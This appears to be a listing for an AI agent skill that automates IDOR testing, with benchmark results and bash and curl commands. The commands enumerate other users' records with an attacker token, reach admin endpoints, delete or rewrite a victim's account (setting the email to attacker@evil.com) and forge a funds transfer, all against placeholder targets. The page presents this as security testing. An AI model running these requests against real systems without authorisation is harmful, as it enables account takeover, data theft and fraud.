Install any skill in seconds. Free to start, no credit card required.
Get Started Free →IDOR automated testing — cross-account access, horizontal/vertical privilege escalation, mass data exposure
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-07 | ✗→✓ | ▲ Improved | -20% | 0% |
| case-11 | ✗→✓ | ▲ Improved | 42% | 0% |
| case-13 | ✗→✓ | ▲ Improved | 28% | 0% |
| case-15 | ✗→✓ | ▲ Improved | 7% | 0% |
| case-16 | ✗→✓ | ▲ Improved | 23% | 0% |
Systematically test all API endpoints for Insecure Direct Object Reference vulnerabilities using two accounts with different privilege levels.
bash# Test endpoints from file attack_script idor_tester \ --token-a "VICTIM_JWT" \ --token-b "ATTACKER_JWT" \ --endpoints endpoints.txt \ --json-output # Test comma-separated endpoints attack_script idor_tester \ --token-a "VICTIM_JWT" \ --token-b "ATTACKER_JWT" \ --endpoints "https://TARGET/api/users/123,https://TARGET/api/orders/456,https://TARGET/api/profile/123" \ --method GET # Test write operations attack_script idor_tester \ --token-a "VICTIM_JWT" \ --token-b "ATTACKER_JWT" \ --endpoints endpoints.txt \ --method PUT \ --data '{"name":"pwned"}'
Horizontal IDOR (same role, different user):
bash# Sequential IDs curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/1 curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/2 # UUID guessing (if predictable) curl -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/UUID_OF_OTHER_USER # Endpoint enumeration for id in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code} " -H "Authorization: Bearer ATTACKER_TOKEN" "https://TARGET/api/orders/$id" done
Vertical IDOR (low-priv accessing high-priv):
bash# User accessing admin endpoints curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/users curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/admin/settings curl -H "Authorization: Bearer USER_TOKEN" https://TARGET/api/internal/reports
bash# GET blocked but DELETE works curl -X DELETE -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID # GET blocked but PATCH works curl -X PATCH -H "Authorization: Bearer ATTACKER_TOKEN" https://TARGET/api/users/VICTIM_ID \ -d '{"email":"attacker@evil.com"}'
bash# Dual ID injection curl "https://TARGET/api/profile?user_id=ATTACKER&user_id=VICTIM" # Body override curl -X POST https://TARGET/api/transfer \ -H "Authorization: Bearer ATTACKER_TOKEN" \ -d '{"from":"VICTIM_ID","to":"ATTACKER_ID","amount":1000}'
bash# Compare responses between two auth contexts attack_script response_diff "https://TARGET/api/users/VICTIM_ID" \ --header-a "Authorization:Bearer VICTIM_TOKEN" \ --header-b "Authorization:Bearer ATTACKER_TOKEN" \ --json-output
| Finding | Severity | |---------|----------| | Read other user's PII (email, SSN, etc.) | Critical (P1) | | Modify other user's data | Critical (P1) | | Delete other user's resources | Critical (P1) | | Access admin functionality | Critical (P1) | | Read non-sensitive data of other user | Medium (P3) |
attack_script idor_tester — automated cross-account testingattack_script response_diff — response comparisonattack_script jwt_tamper — token manipulation for IDOROther measured skills in the registry, with their headline benchmark lift.